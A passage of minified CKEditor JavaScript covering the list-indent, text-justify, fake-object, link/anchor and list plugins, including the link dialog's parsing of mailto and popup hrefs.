k.is("li"))&&o.push(k)}e&&e.listNode.replace(b);if(o&&o.length)for(a=0;a<o.length;a++){for(k=b=o[a];(k=k.getNext())&&k.is&&k.getName()in m;)CKEDITOR.env.needsNbspFiller&&!b.getFirst(t)&&b.append(d.document.createText(" ")),b.append(k);b.insertAfter(f)}e&&c.fire("contentDomInvalidated");return!0}for(var j=this,n=this.database,m=this.context,l=c.getSelection(),l=(l&&l.getRanges()).createIterator(),d;d=l.getNextRange();){for(var b=d.getCommonAncestor();b&&!(b.type==CKEDITOR.NODE_ELEMENT&&m[b.getName()]);)b=
b.getParent();b||(b=d.startPath().contains(m))&&d.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);if(!b){var h=d.getEnclosedNode();h&&(h.type==CKEDITOR.NODE_ELEMENT&&h.getName()in m)&&(d.setStartAt(h,CKEDITOR.POSITION_AFTER_START),d.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),b=h)}b&&(d.startContainer.type==CKEDITOR.NODE_ELEMENT&&d.startContainer.getName()in m)&&(h=new CKEDITOR.dom.walker(d),h.evaluator=p,d.startContainer=h.next());b&&(d.endContainer.type==CKEDITOR.NODE_ELEMENT&&d.endContainer.getName()in m)&&
(h=new CKEDITOR.dom.walker(d),h.evaluator=p,d.endContainer=h.previous());if(b)return f(b)}return 0}function p(c){return c.type==CKEDITOR.NODE_ELEMENT&&c.is("li")}function t(c){return u(c)&&v(c)}var u=CKEDITOR.dom.walker.whitespaces(!0),v=CKEDITOR.dom.walker.bookmark(!1,!0),q=CKEDITOR.TRISTATE_DISABLED,r=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indentlist",{requires:"indent",init:function(c){function f(c){j.specificDefinition.apply(this,arguments);this.requiredContent=["ul","ol"];c.on("key",function(f){if("wysiwyg"==
c.mode&&f.data.keyCode==this.indentKey){var l=this.getContext(c.elementPath());if(l&&(!this.isIndent||!CKEDITOR.plugins.indentList.firstItemInPath(this.context,c.elementPath(),l)))c.execCommand(this.relatedGlobal),f.cancel()}},this);this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(c,f){var d=this.getContext(f),b=CKEDITOR.plugins.indentList.firstItemInPath(this.context,f,d);return!d||!this.isIndent||b?q:r}:function(c,f){return!this.getContext(f)||this.isIndent?q:r},exec:CKEDITOR.tools.bind(s,
this)}}var j=CKEDITOR.plugins.indent;j.registerCommands(c,{indentlist:new f(c,"indentlist",!0),outdentlist:new f(c,"outdentlist")});CKEDITOR.tools.extend(f.prototype,j.specificDefinition.prototype,{context:{ol:1,ul:1}})}});CKEDITOR.plugins.indentList={};CKEDITOR.plugins.indentList.firstItemInPath=function(c,f,j){var n=f.contains(p);j||(j=f.contains(c));return j&&n&&n.equals(j.getFirst(p))}})();(function(){function l(a,c){var c=void 0===c||c,b;if(c)b=a.getComputedStyle("text-align");else{for(;!a.hasAttribute||!a.hasAttribute("align")&&!a.getStyle("text-align");){b=a.getParent();if(!b)break;a=b}b=a.getStyle("text-align")||a.getAttribute("align")||""}b&&(b=b.replace(/(?:-(?:moz|webkit)-)?(?:start|auto)/i,""));!b&&c&&(b="rtl"==a.getComputedStyle("direction")?"right":"left");return b}function g(a,c,b){this.editor=a;this.name=c;this.value=b;this.context="p";var c=a.config.justifyClasses,h=a.config.enterMode==
CKEDITOR.ENTER_P?"p":"div";if(c){switch(b){case "left":this.cssClassName=c[0];break;case "center":this.cssClassName=c[1];break;case "right":this.cssClassName=c[2];break;case "justify":this.cssClassName=c[3]}this.cssClassRegex=RegExp("(?:^|\\s+)(?:"+c.join("|")+")(?=$|\\s)");this.requiredContent=h+"("+this.cssClassName+")"}else this.requiredContent=h+"{text-align}";this.allowedContent={"caption div h1 h2 h3 h4 h5 h6 p pre td th li":{propertiesOnly:!0,styles:this.cssClassName?null:"text-align",classes:this.cssClassName||
null}};a.config.enterMode==CKEDITOR.ENTER_BR&&(this.allowedContent.div=!0)}function j(a){var c=a.editor,b=c.createRange();b.setStartBefore(a.data.node);b.setEndAfter(a.data.node);for(var h=new CKEDITOR.dom.walker(b),d;d=h.next();)if(d.type==CKEDITOR.NODE_ELEMENT)if(!d.equals(a.data.node)&&d.getDirection())b.setStartAfter(d),h=new CKEDITOR.dom.walker(b);else{var e=c.config.justifyClasses;e&&(d.hasClass(e[0])?(d.removeClass(e[0]),d.addClass(e[2])):d.hasClass(e[2])&&(d.removeClass(e[2]),d.addClass(e[0])));
e=d.getStyle("text-align");"left"==e?d.setStyle("text-align","right"):"right"==e&&d.setStyle("text-align","left")}}g.prototype={exec:function(a){var c=a.getSelection(),b=a.config.enterMode;if(c){for(var h=c.createBookmarks(),d=c.getRanges(),e=this.cssClassName,g,f,i=a.config.useComputedState,i=void 0===i||i,k=d.length-1;0<=k;k--){g=d[k].createIterator();for(g.enlargeBr=b!=CKEDITOR.ENTER_BR;f=g.getNextParagraph(b==CKEDITOR.ENTER_P?"p":"div");)if(!f.isReadOnly()){f.removeAttribute("align");f.removeStyle("text-align");
var j=e&&(f.$.className=CKEDITOR.tools.ltrim(f.$.className.replace(this.cssClassRegex,""))),m=this.state==CKEDITOR.TRISTATE_OFF&&(!i||l(f,!0)!=this.value);e?m?f.addClass(e):j||f.removeAttribute("class"):m&&f.setStyle("text-align",this.value)}}a.focus();a.forceNextSelectionCheck();c.selectBookmarks(h)}},refresh:function(a,c){var b=c.block||c.blockLimit;this.setState("body"!=b.getName()&&l(b,this.editor.config.useComputedState)==this.value?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add("justify",
{init:function(a){if(!a.blockless){var c=new g(a,"justifyleft","left"),b=new g(a,"justifycenter","center"),h=new g(a,"justifyright","right"),d=new g(a,"justifyblock","justify");a.addCommand("justifyleft",c);a.addCommand("justifycenter",b);a.addCommand("justifyright",h);a.addCommand("justifyblock",d);a.ui.addButton&&(a.ui.addButton("JustifyLeft",{label:a.lang.justify.left,command:"justifyleft",toolbar:"align,10"}),a.ui.addButton("JustifyCenter",{label:a.lang.justify.center,command:"justifycenter",
toolbar:"align,20"}),a.ui.addButton("JustifyRight",{label:a.lang.justify.right,command:"justifyright",toolbar:"align,30"}),a.ui.addButton("JustifyBlock",{label:a.lang.justify.block,command:"justifyblock",toolbar:"align,40"}));a.on("dirChanged",j)}}})})();(function(){function g(a,b){var c=j.exec(a),d=j.exec(b);if(c){if(!c[2]&&"px"==d[2])return d[1];if("px"==c[2]&&!d[2])return d[1]+"px"}return b}var i=CKEDITOR.htmlParser.cssStyle,h=CKEDITOR.tools.cssLength,j=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,k={elements:{$:function(a){var b=a.attributes;if((b=(b=(b=b&&b["data-cke-realelement"])&&new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(b)))&&b.children[0])&&a.attributes["data-cke-resizable"]){var c=(new i(a)).rules,a=b.attributes,d=c.width,c=
c.height;d&&(a.width=g(a.width,d));c&&(a.height=g(a.height,c))}return b}}};CKEDITOR.plugins.add("fakeobjects",{init:function(a){a.filter.allow("img[!data-cke-realelement,src,alt,title](*){*}","fakeobjects")},afterInit:function(a){(a=(a=a.dataProcessor)&&a.htmlFilter)&&a.addRules(k,{applyToAll:!0})}});CKEDITOR.editor.prototype.createFakeElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,b={"class":b,"data-cke-realelement":encodeURIComponent(a.getOuterHtml()),"data-cke-real-node-type":a.type,
alt:e,title:e,align:a.getAttribute("align")||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,c=new i,d=a.getAttribute("width"),a=a.getAttribute("height"),d&&(c.rules.width=h(d)),a&&(c.rules.height=h(a)),c.populate(b));return this.document.createElement("img",{attributes:b})};CKEDITOR.editor.prototype.createFakeParserElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,f;f=new CKEDITOR.htmlParser.basicWriter;
a.writeHtml(f);f=f.getHtml();b={"class":b,"data-cke-realelement":encodeURIComponent(f),"data-cke-real-node-type":a.type,alt:e,title:e,align:a.attributes.align||""};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&&(b["data-cke-real-element-type"]=c);d&&(b["data-cke-resizable"]=d,d=a.attributes,a=new i,c=d.width,d=d.height,void 0!==c&&(a.rules.width=h(c)),void 0!==d&&(a.rules.height=h(d)),a.populate(b));return new CKEDITOR.htmlParser.element("img",b)};CKEDITOR.editor.prototype.restoreRealElement=
function(a){if(a.data("cke-real-node-type")!=CKEDITOR.NODE_ELEMENT)return null;var b=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(a.data("cke-realelement")),this.document);if(a.data("cke-resizable")){var c=a.getStyle("width"),a=a.getStyle("height");c&&b.setAttribute("width",g(b.getAttribute("width"),c));a&&b.setAttribute("height",g(b.getAttribute("height"),a))}return b}})();(function(){function m(c){return c.replace(/'/g,"\\$&")}function n(c){for(var b,a=c.length,f=[],e=0;e<a;e++)b=c.charCodeAt(e),f.push(b);return"String.fromCharCode("+f.join(",")+")"}function o(c,b){var a=c.plugins.link,f=a.compiledProtectionFunction.params,e,d;d=[a.compiledProtectionFunction.name,"("];for(var g=0;g<f.length;g++)a=f[g].toLowerCase(),e=b[a],0<g&&d.push(","),d.push("'",e?m(encodeURIComponent(b[a])):"","'");d.push(")");return d.join("")}function l(c){var c=c.config.emailProtection||"",
b;c&&"encode"!=c&&(b={},c.replace(/^([^(]+)\(([^)]+)\)$/,function(a,c,e){b.name=c;b.params=[];e.replace(/[^,\s]+/g,function(a){b.params.push(a)})}));return b}CKEDITOR.plugins.add("link",{requires:"dialog,fakeobjects",onLoad:function(){function c(b){return a.replace(/%1/g,"rtl"==b?"right":"left").replace(/%2/g,"cke_contents_"+b)}var b="background:url("+CKEDITOR.getUrl(this.path+"images"+(CKEDITOR.env.hidpi?"/hidpi":"")+"/anchor.png")+") no-repeat %1 center;border:1px dotted #00f;background-size:16px;",
a=".%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{"+b+"padding-%1:18px;cursor:auto;}.%2 img.cke_anchor{"+b+"width:16px;min-height:15px;height:1.15em;vertical-align:text-bottom;}";CKEDITOR.addCss(c("ltr")+c("rtl"))},init:function(c){var b="a[!href]";CKEDITOR.dialog.isTabEnabled(c,"link","advanced")&&(b=b.replace("]",",accesskey,charset,dir,id,lang,name,rel,tabindex,title,type]{*}(*)"));CKEDITOR.dialog.isTabEnabled(c,"link","target")&&(b=b.replace("]",
",target,onclick]"));c.addCommand("link",new CKEDITOR.dialogCommand("link",{allowedContent:b,requiredContent:"a[href]"}));c.addCommand("anchor",new CKEDITOR.dialogCommand("anchor",{allowedContent:"a[!name,id]",requiredContent:"a[name]"}));c.addCommand("unlink",new CKEDITOR.unlinkCommand);c.addCommand("removeAnchor",new CKEDITOR.removeAnchorCommand);c.setKeystroke(CKEDITOR.CTRL+76,"link");c.ui.addButton&&(c.ui.addButton("Link",{label:c.lang.link.toolbar,command:"link",toolbar:"links,10"}),c.ui.addButton("Unlink",
{label:c.lang.link.unlink,command:"unlink",toolbar:"links,20"}),c.ui.addButton("Anchor",{label:c.lang.link.anchor.toolbar,command:"anchor",toolbar:"links,30"}));CKEDITOR.dialog.add("link",this.path+"dialogs/link.js");CKEDITOR.dialog.add("anchor",this.path+"dialogs/anchor.js");c.on("doubleclick",function(a){var b=CKEDITOR.plugins.link.getSelectedLink(c)||a.data.element;if(!b.isReadOnly())if(b.is("a")){a.data.dialog=b.getAttribute("name")&&(!b.getAttribute("href")||!b.getChildCount())?"anchor":"link";
a.data.link=b}else if(CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,b))a.data.dialog="anchor"},null,null,0);c.on("doubleclick",function(a){a.data.dialog in{link:1,anchor:1}&&a.data.link&&c.getSelection().selectElement(a.data.link)},null,null,20);c.addMenuItems&&c.addMenuItems({anchor:{label:c.lang.link.anchor.menu,command:"anchor",group:"anchor",order:1},removeAnchor:{label:c.lang.link.anchor.remove,command:"removeAnchor",group:"anchor",order:5},link:{label:c.lang.link.menu,command:"link",group:"link",
order:1},unlink:{label:c.lang.link.unlink,command:"unlink",group:"link",order:5}});c.contextMenu&&c.contextMenu.addListener(function(a){if(!a||a.isReadOnly())return null;a=CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a);if(!a&&!(a=CKEDITOR.plugins.link.getSelectedLink(c)))return null;var b={};a.getAttribute("href")&&a.getChildCount()&&(b={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});if(a&&a.hasAttribute("name"))b.anchor=b.removeAnchor=CKEDITOR.TRISTATE_OFF;return b});this.compiledProtectionFunction=
l(c)},afterInit:function(c){c.dataProcessor.dataFilter.addRules({elements:{a:function(a){return!a.attributes.name?null:!a.children.length?c.createFakeParserElement(a,"cke_anchor","anchor"):null}}});var b=c._.elementsPath&&c._.elementsPath.filters;b&&b.push(function(a,b){if("a"==b&&(CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a)||a.getAttribute("name")&&(!a.getAttribute("href")||!a.getChildCount())))return"anchor"})}});var p=/^javascript:/,q=/^mailto:([^?]+)(?:\?(.+))?$/,r=/subject=([^;?:@&=$,\/]*)/,
s=/body=([^;?:@&=$,\/]*)/,t=/^#(.*)$/,u=/^((?:http|https|ftp|news):\/\/)?(.*)$/,v=/^(_(?:self|top|parent|blank))$/,w=/^javascript:void\(location\.href='mailto:'\+String\.fromCharCode\(([^)]+)\)(?:\+'(.*)')?\)$/,x=/^javascript:([^(]+)\(([^)]+)\)$/,y=/\s*window.open\(\s*this\.href\s*,\s*(?:'([^']*)'|null)\s*,\s*'([^']*)'\s*\)\s*;\s*return\s*false;*\s*/,z=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,j={id:"advId",dir:"advLangDir",accessKey:"advAccessKey",name:"advName",lang:"advLangCode",tabindex:"advTabIndex",title:"advTitle",
type:"advContentType","class":"advCSSClasses",charset:"advCharset",style:"advStyles",rel:"advRel"};CKEDITOR.plugins.link={getSelectedLink:function(c){var b=c.getSelection(),a=b.getSelectedElement();return a&&a.is("a")?a:(b=b.getRanges()[0])?(b.shrink(CKEDITOR.SHRINK_TEXT),c.elementPath(b.getCommonAncestor()).contains("a",1)):null},getEditorAnchors:function(c){for(var b=c.editable(),a=b.isInline()&&!c.plugins.divarea?c.document:b,b=a.getElementsByTag("a"),a=a.getElementsByTag("img"),f=[],e=0,d;d=b.getItem(e++);)if(d.data("cke-saved-name")||
d.hasAttribute("name"))f.push({name:d.data("cke-saved-name")||d.getAttribute("name"),id:d.getAttribute("id")});for(e=0;d=a.getItem(e++);)(d=this.tryRestoreFakeAnchor(c,d))&&f.push({name:d.getAttribute("name"),id:d.getAttribute("id")});return f},fakeAnchor:!0,tryRestoreFakeAnchor:function(c,b){if(b&&b.data("cke-real-element-type")&&"anchor"==b.data("cke-real-element-type")){var a=c.restoreRealElement(b);if(a.data("cke-saved-name"))return a}},parseLinkAttributes:function(c,b){var a=b&&(b.data("cke-saved-href")||
b.getAttribute("href"))||"",f=c.plugins.link.compiledProtectionFunction,e=c.config.emailProtection,d,g={};a.match(p)&&("encode"==e?a=a.replace(w,function(a,b,c){return"mailto:"+String.fromCharCode.apply(String,b.split(","))+(c&&c.replace(/\\'/g,"'"))}):e&&a.replace(x,function(a,b,c){if(b==f.name){g.type="email";for(var a=g.email={},b=/(^')|('$)/g,c=c.match(/[^,\s]+/g),d=c.length,e,h,i=0;i<d;i++)e=decodeURIComponent,h=c[i].replace(b,"").replace(/\\'/g,"'"),h=e(h),e=f.params[i].toLowerCase(),a[e]=h;
a.address=[a.name,a.domain].join("@")}}));if(!g.type)if(e=a.match(t))g.type="anchor",g.anchor={},g.anchor.name=g.anchor.id=e[1];else if(e=a.match(q)){d=a.match(r);a=a.match(s);g.type="email";var i=g.email={};i.address=e[1];d&&(i.subject=decodeURIComponent(d[1]));a&&(i.body=decodeURIComponent(a[1]))}else if(a&&(d=a.match(u)))g.type="url",g.url={},g.url.protocol=d[1],g.url.url=d[2];if(b){if(a=b.getAttribute("target"))g.target={type:a.match(v)?a:"frame",name:a};else if(a=(a=b.data("cke-pa-onclick")||
b.getAttribute("onclick"))&&a.match(y))for(g.target={type:"popup",name:a[1]};e=z.exec(a[2]);)("yes"==e[2]||"1"==e[2])&&!(e[1]in{height:1,width:1,top:1,left:1})?g.target[e[1]]=!0:isFinite(e[2])&&(g.target[e[1]]=e[2]);var a={},h;for(h in j)(e=b.getAttribute(h))&&(a[j[h]]=e);if(h=b.data("cke-saved-name")||a.advName)a.advName=h;CKEDITOR.tools.isEmpty(a)||(g.advanced=a)}return g},getLinkAttributes:function(c,b){var a=c.config.emailProtection||"",f={};switch(b.type){case "url":var a=b.url&&void 0!==b.url.protocol?
b.url.protocol:"http://",e=b.url&&CKEDITOR.tools.trim(b.url.url)||"";f["data-cke-saved-href"]=0===e.indexOf("/")?e:a+e;break;case "anchor":a=b.anchor&&b.anchor.id;f["data-cke-saved-href"]="#"+(b.anchor&&b.anchor.name||a||"");break;case "email":var d=b.email,e=d.address;switch(a){case "":case "encode":var g=encodeURIComponent(d.subject||""),i=encodeURIComponent(d.body||""),d=[];g&&d.push("subject="+g);i&&d.push("body="+i);d=d.length?"?"+d.join("&"):"";"encode"==a?(a=["javascript:void(location.href='mailto:'+",
n(e)],d&&a.push("+'",m(d),"'"),a.push(")")):a=["mailto:",e,d];break;default:a=e.split("@",2),d.name=a[0],d.domain=a[1],a=["javascript:",o(c,d)]}f["data-cke-saved-href"]=a.join("")}if(b.target)if("popup"==b.target.type){for(var a=["window.open(this.href, '",b.target.name||"","', '"],h="resizable status location toolbar menubar fullscreen scrollbars dependent".split(" "),e=h.length,g=function(a){b.target[a]&&h.push(a+"="+b.target[a])},d=0;d<e;d++)h[d]+=b.target[h[d]]?"=yes":"=no";g("width");g("left");
g("height");g("top");a.push(h.join(","),"'); return false;");f["data-cke-pa-onclick"]=a.join("")}else"notSet"!=b.target.type&&b.target.name&&(f.target=b.target.name);if(b.advanced){for(var k in j)(a=b.advanced[j[k]])&&(f[k]=a);f.name&&(f["data-cke-saved-name"]=f.name)}f["data-cke-saved-href"]&&(f.href=f["data-cke-saved-href"]);k=CKEDITOR.tools.extend({target:1,onclick:1,"data-cke-pa-onclick":1,"data-cke-saved-name":1},j);for(var l in f)delete k[l];return{set:f,removed:CKEDITOR.tools.objectKeys(k)}}};
CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype={exec:function(c){var b=new CKEDITOR.style({element:"a",type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});c.removeStyle(b)},refresh:function(c,b){var a=b.lastElement&&b.lastElement.getAscendant("a",!0);a&&"a"==a.getName()&&a.getAttribute("href")&&a.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:"a[href]"};CKEDITOR.removeAnchorCommand=
function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(c){var b=c.getSelection(),a=b.createBookmarks(),f;if(b&&(f=b.getSelectedElement())&&(!f.getChildCount()?CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,f):f.is("a")))f.remove(1);else if(f=CKEDITOR.plugins.link.getSelectedLink(c))f.hasAttribute("href")?(f.removeAttributes({name:1,"data-cke-saved-name":1}),f.removeClass("cke_anchor")):f.remove(1);b.selectBookmarks(a)},requiredContent:"a[name]"};CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,
linkShowTargetTab:!0})})();(function(){function E(b,k,e){function d(d){if((a=c[d?"getFirst":"getLast"]())&&(!a.is||!a.isBlockBoundary())&&(m=k.root[d?"getPrevious":"getNext"](CKEDITOR.dom.walker.invisible(!0)))&&(!m.is||!m.isBlockBoundary({br:1})))b.document.createElement("br")[d?"insertBefore":"insertAfter"](a)}for(var f=CKEDITOR.plugins.list.listToArray(k.root,e),g=[],i=0;i<k.contents.length;i++){var h=k.contents[i];if((h=h.getAscendant("li",!0))&&!h.getCustomData("list_item_processed"))g.push(h),CKEDITOR.dom.element.setMarker(e,
h,"list_item_processed",!0)}h=null;for(i=0;i<g.length;i++)h=g[i].getCustomData("listarray_index"),f[h].indent=-1;for(i=h+1;i<f.length;i++)if(f[i].indent>f[i-1].indent+1){g=f[i-1].indent+1-f[i].indent;for(h=f[i].indent;f[i]&&f[i].indent>=h;)f[i].indent+=g,i++;i--}var c=CKEDITOR.plugins.list.arrayToList(f,e,null,b.config.enterMode,k.root.getAttribute("dir")).listNode,a,m;d(!0);d();c.replace(k.root);b.fire("contentDomInvalidated")}function x(b,k){this.name=b;this.context=this.type=k;this.allowedContent=
k+" li";this.requiredContent=k}function A(b,k,e,d){for(var f,g;f=b[d?"getLast":"getFirst"](F);)(g=f.getDirection(1))!==k.getDirection(1)&&f.setAttribute("dir",g),f.remove(),e?f[d?"insertBefore":"insertAfter"](e):k.append(f,d)}function B(b){function k(e){var d=b[e?"getPrevious":"getNext"](q);d&&(d.type==CKEDITOR.NODE_ELEMENT&&d.is(b.getName()))&&(A(b,d,null,!e),b.remove(),b=d)}k();k(1)}function C(b){return b.type==CKEDITOR.NODE_ELEMENT&&(b.getName()in CKEDITOR.dtd.$block||b.getName()in CKEDITOR.dtd.$listItem)&&
CKEDITOR.dtd[b.getName()]["#"]}function y(b,k,e){b.fire("saveSnapshot");e.enlarge(CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS);var d=e.extractContents();k.trim(!1,!0);var f=k.createBookmark(),g=new CKEDITOR.dom.elementPath(k.startContainer),i=g.block,g=g.lastElement.getAscendant("li",1)||i,h=new CKEDITOR.dom.elementPath(e.startContainer),c=h.contains(CKEDITOR.dtd.$listItem),h=h.contains(CKEDITOR.dtd.$list);i?(i=i.getBogus())&&i.remove():h&&(i=h.getPrevious(q))&&v(i)&&i.remove();(i=d.getLast())&&(i.type==
CKEDITOR.NODE_ELEMENT&&i.is("br"))&&i.remove();(i=k.startContainer.getChild(k.startOffset))?d.insertBefore(i):k.startContainer.append(d);if(c&&(d=w(c)))g.contains(c)?(A(d,c.getParent(),c),d.remove()):g.append(d);for(;e.checkStartOfBlock()&&e.checkEndOfBlock();){h=e.startPath();d=h.block;if(!d)break;d.is("li")&&(g=d.getParent(),d.equals(g.getLast(q))&&d.equals(g.getFirst(q))&&(d=g));e.moveToPosition(d,CKEDITOR.POSITION_BEFORE_START);d.remove()}e=e.clone();d=b.editable();e.setEndAt(d,CKEDITOR.POSITION_BEFORE_END);
e=new CKEDITOR.dom.walker(e);e.evaluator=function(a){return q(a)&&!v(a)};(e=e.next())&&(e.type==CKEDITOR.NODE_ELEMENT&&e.getName()in CKEDITOR.dtd.$list)&&B(e);k.moveToBookmark(f);k.select();b.fire("saveSnapshot")}function w(b){return(b=b.getLast(q))&&b.type==CKEDITOR.NODE_ELEMENT&&b.getName()in r?b:null}var r={ol:1,ul:1},G=CKEDITOR.dom.walker.whitespaces(),D=CKEDITOR.dom.walker.bookmark(),q=function(b){return!(G(b)||D(b))},v=CKEDITOR.dom.walker.bogus();CKEDITOR.plugins.list={listToArray:function(b,
k,e,d,f){if(!r[b.getName()])return[];d||(d=0);e||(e=[]);for(var g=0,i=b.getChildCount();g<i;g++){var h=b.getChild(g);h.type==CKEDITOR.NODE_ELEMENT&&h.getName()in CKEDITOR.dtd.$list&&CKEDITOR.plugins.list.listToArray(h,k,e,d+1);if("li"==h.$.nodeName.toLowerCase()){var c={parent:b,indent:d,element:h,contents:[]};f?c.grandparent=f:(c.grandparent=b.getParent(),c.grandparent&&"li"==c.grandparent.$.nodeName.toLowerCase()&&(c.grandparent=c.grandparent.getParent()));k&&CKEDITOR.dom.element.setMarker(k,h,
"listarray_index",e.length);e.push(c);for(var a=0,m=h.getChildCount(),j;a<m;a++)j=h.getChild(a),j.type==CKEDITOR.NODE_ELEMENT&&r[j.getName()]?CKEDITOR.plugins.list.listToArray(j,k,e,d+1,c.grandparent):c.contents.push(j)}}return e},arrayToList:function(b,k,e,d,f){e||(e=0);if(!b||b.length<e+1)return null;for(var g,i=b[e].parent.getDocument(),h=new CKEDITOR.dom.documentFragment(i),c=null,a=e,m=Math.max(b[e].indent,0),j=null,n,l,p=d==CKEDITOR.ENTER_P?"p":"div";;){var o=b[a];g=o.grandparent;n=o.element.getDirection(1);
if(o.indent==m){if(!c||b[a].parent.getName()!=c.getName())c=b[a].parent.clone(!1,1),f&&c.setAttribute("dir",f),h.append(c);j=c.append(o.element.clone(0,1));n!=c.getDirection(1)&&j.setAttribute("dir",n);for(g=0;g<o.contents.length;g++)j.append(o.contents[g].clone(1,1));a++}else if(o.indent==Math.max(m,0)+1)o=b[a-1].element.getDirection(1),a=CKEDITOR.plugins.list.arrayToList(b,null,a,d,o!=n?n:null),!j.getChildCount()&&(CKEDITOR.env.needsNbspFiller&&7>=i.$.documentMode)&&j.append(i.createText(" ")),
j.append(a.listNode),a=a.nextIndex;else if(-1==o.indent&&!e&&g){r[g.getName()]?(j=o.element.clone(!1,!0),n!=g.getDirection(1)&&j.setAttribute("dir",n)):j=new CKEDITOR.dom.documentFragment(i);var c=g.getDirection(1)!=n,u=o.element,z=u.getAttribute("class"),v=u.getAttribute("style"),w=j.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(d!=CKEDITOR.ENTER_BR||c||v||z),s,x=o.contents.length,t;for(g=0;g<x;g++)if(s=o.contents[g],D(s)&&1<x)w?t=s.clone(1,1):j.append(s.clone(1,1));else if(s.type==CKEDITOR.NODE_ELEMENT&&
s.isBlockBoundary()){c&&!s.getDirection()&&s.setAttribute("dir",n);l=s;var y=u.getAttribute("style");y&&l.setAttribute("style",y.replace(/([^;])$/,"$1;")+(l.getAttribute("style")||""));z&&s.addClass(z);l=null;t&&(j.append(t),t=null);j.append(s.clone(1,1))}else w?(l||(l=i.createElement(p),j.append(l),c&&l.setAttribute("dir",n)),v&&l.setAttribute("style",v),z&&l.setAttribute("class",z),t&&(l.append(t),t=null),l.append(s.clone(1,1))):j.append(s.clone(1,1));t&&((l||j).append(t),t=null);j.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&&
a!=b.length-1&&(CKEDITOR.env.needsBrFiller&&(n=j.getLast())&&(n.type==CKEDITOR.NODE_ELEMENT&&n.is("br"))&&n.remove(),n=j.getLast(q),(!n||!(n.type==CKEDITOR.NODE_ELEMENT&&n.is(CKEDITOR.dtd.$block)))&&j.append(i.createElement("br")));n=j.$.nodeName.toLowerCase();("div"==n||"p"==n)&&j.appendBogus();h.append(j);c=null;a++}else return null;l=null;if(b.length<=a||Math.max(b[a].indent,0)<m)break}if(k)for(b=h.getFirst();b;){if(b.type==CKEDITOR.NODE_ELEMENT&&(CKEDITOR.dom.element.clearMarkers(k,b),b.getName()in
CKEDITOR.dtd.$listItem&&(e=b,i=f=d=void 0,d=e.getDirection()))){for(f=e.getParent();f&&!(i=f.getDirection());)f=f.getParent();d==i&&e.removeAttribute("dir")}b=b.getNextSourceNode()}return{listNode:h,nextIndex:a}}};var H=/^h[1-6]$/,F=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);x.prototype={exec:function(b){this.refresh(b,b.elementPath());var k=b.config,e=b.getSelection(),d=e&&e.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF){var f=b.editable();if(f.getFirst(q)){var g=1==d.length&&d[0];(k=
g&&g.getEnclosedNode())&&(k.is&&this.type==k.getName())&&this.setState(CKEDITOR.TRISTATE_ON)}else k.enterMode==CKEDITOR.ENTER_BR?f.appendBogus():d[0].fixBlock(1,k.enterMode==CKEDITOR.ENTER_P?"p":"div"),e.selectRanges(d)}for(var k=e.createBookmarks(!0),f=[],i={},d=d.createIterator(),h=0;(g=d.getNextRange())&&++h;){var c=g.getBoundaryNodes(),a=c.startNode,m=c.endNode;a.type==CKEDITOR.NODE_ELEMENT&&"td"==a.getName()&&g.setStartAt(c.startNode,CKEDITOR.POSITION_AFTER_START);m.type==CKEDITOR.NODE_ELEMENT&&
"td"==m.getName()&&g.setEndAt(c.endNode,CKEDITOR.POSITION_BEFORE_END);g=g.createIterator();for(g.forceBrBreak=this.state==CKEDITOR.TRISTATE_OFF;c=g.getNextParagraph();)if(!c.getCustomData("list_block")){CKEDITOR.dom.element.setMarker(i,c,"list_block",1);for(var j=b.elementPath(c),a=j.elements,m=0,j=j.blockLimit,n,l=a.length-1;0<=l&&(n=a[l]);l--)if(r[n.getName()]&&j.contains(n)){j.removeCustomData("list_group_object_"+h);(a=n.getCustomData("list_group_object"))?a.contents.push(c):(a={root:n,contents:[c]},
f.push(a),CKEDITOR.dom.element.setMarker(i,n,"list_group_object",a));m=1;break}m||(m=j,m.getCustomData("list_group_object_"+h)?m.getCustomData("list_group_object_"+h).contents.push(c):(a={root:m,contents:[c]},CKEDITOR.dom.element.setMarker(i,m,"list_group_object_"+h,a),f.push(a)))}}for(n=[];0<f.length;)if(a=f.shift(),this.state==CKEDITOR.TRISTATE_OFF)if(r[a.root.getName()]){d=b;h=a;a=i;g=n;m=CKEDITOR.plugins.list.listToArray(h.root,a);j=[];for(c=0;c<h.contents.length;c++)if(l=h.contents[c],(l=l.getAscendant("li",
